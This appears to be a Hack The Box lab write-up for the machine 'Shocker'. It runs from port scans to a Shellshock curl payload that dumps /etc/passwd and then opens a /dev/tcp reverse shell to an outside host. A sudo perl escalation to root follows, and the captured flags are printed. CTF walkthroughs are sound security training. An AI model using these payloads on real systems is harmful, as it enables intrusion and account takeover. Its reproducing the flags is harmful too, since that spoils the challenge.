“Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.”
██╗ ██╗███████╗███████╗██████╗ ██║ ██║██╔════╝██╔════╝██╔══██╗ ██║ ██║███████╗█████╗ ██████╔╝ ██║ ██║╚════██║██╔══╝ ██╔══██╗ ╚██████╔╝███████║███████╗██║ ██║ ╚═════╝ ╚══════╝╚══════╝╚═╝ ╚═╝
- [root:/git/htb/shocker]# nmap -Pn -n -sCV 10.10.10.56 (master✱) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |http-title: Site doesn’t have a title (text/html). 2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA) | 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA) | 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
DIRB: + http://10.10.10.56/cgi-bin/ (CODE:403|SIZE:294)
NIKTO: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
Visiting the webpage there’s an image of a blob with a hammer over him, saying “Don’t bug me!”. Binwalking the image gives nothing, so there’s something hidden on the server.
root@nidus:/git/htb/shocker# ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.56/cgi-bin/FUZZ.sh — snip — user [Status: 200, Size: 118, Words: 19, Lines: 8]
As we find a .sh file on the server, we can try to see if shellshock is possible with this simple curl poc
root@nidus:/git/htb/shocker# curl -H ‘User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd’ bash -s :’’ http://10.10.10.56/cgi-bin/user.sh root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false syslog:x:104:108::/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false lxd:x:106:65534::/var/lib/lxd/:/bin/false messagebus:x:107:111::/var/run/dbus:/bin/false uuidd:x:108:112::/run/uuidd:/bin/false dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin shelly:x:1000:1000:shelly,,,:/home/shelly:/bin/bash
We got code execution, grab yourself a reverse shell.
root@nidus:/git/htb/shocker# curl -H ‘User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.10/4488 0>&1’ http://10.10.10.56/cgi-bin/user.sh
[root:/git/htb/shocker]# nc -lvnp 4488 (master✱) listening on [any] 4488 … connect to [10.10.14.10] from (UNKNOWN) [10.10.10.56] 47484 bash: no job control in this shell shelly@Shocker:/usr/lib/cgi-bin$ whoami shelly shelly@Shocker:/usr/lib/cgi-bin$ cat ~/user.txt a66751f2be1833726a055593ef238628
██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████
██████╗ ██████╗ ██████╗ ████████╗ ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝ ██████╔╝██║ ██║██║ ██║ ██║ ██╔══██╗██║ ██║██║ ██║ ██║ ██║ ██║╚██████╔╝╚██████╔╝ ██║ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝
- There’s nothing obvious in /home/shelly/, /tmp/, /opt/ or /dev/shm/, lets run ‘sudo -l’ to check if we can exploit any binary.
shelly@Shocker:/dev/shm$ sudo -l Matching Defaults entries for shelly on Shocker: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User shelly may run the following commands on Shocker: (root) NOPASSWD: /usr/bin/perl
shelly@Shocker:/dev/shm$ sudo perl -e ‘exec “/bin/sh”;’ # whoami root # cat /root/root.txt fabc18579c97f3e07d51ac084d01d6fb
██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████
██╗███╗ ██╗███████╗ ██████╗ ██████╗ ███╗ ███╗ █████╗ ████████╗██╗ ██████╗ ███╗ ██╗ ██║████╗ ██║██╔════╝██╔═══██╗██╔══██╗████╗ ████║██╔══██╗╚══██╔══╝██║██╔═══██╗████╗ ██║ ██║██╔██╗ ██║█████╗ ██║ ██║██████╔╝██╔████╔██║███████║ ██║ ██║██║ ██║██╔██╗ ██║ ██║██║╚██╗██║██╔══╝ ██║ ██║██╔══██╗██║╚██╔╝██║██╔══██║ ██║ ██║██║ ██║██║╚██╗██║ ██║██║ ╚████║██║ ╚██████╔╝██║ ██║██║ ╚═╝ ██║██║ ██║ ██║ ██║╚██████╔╝██║ ╚████║ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝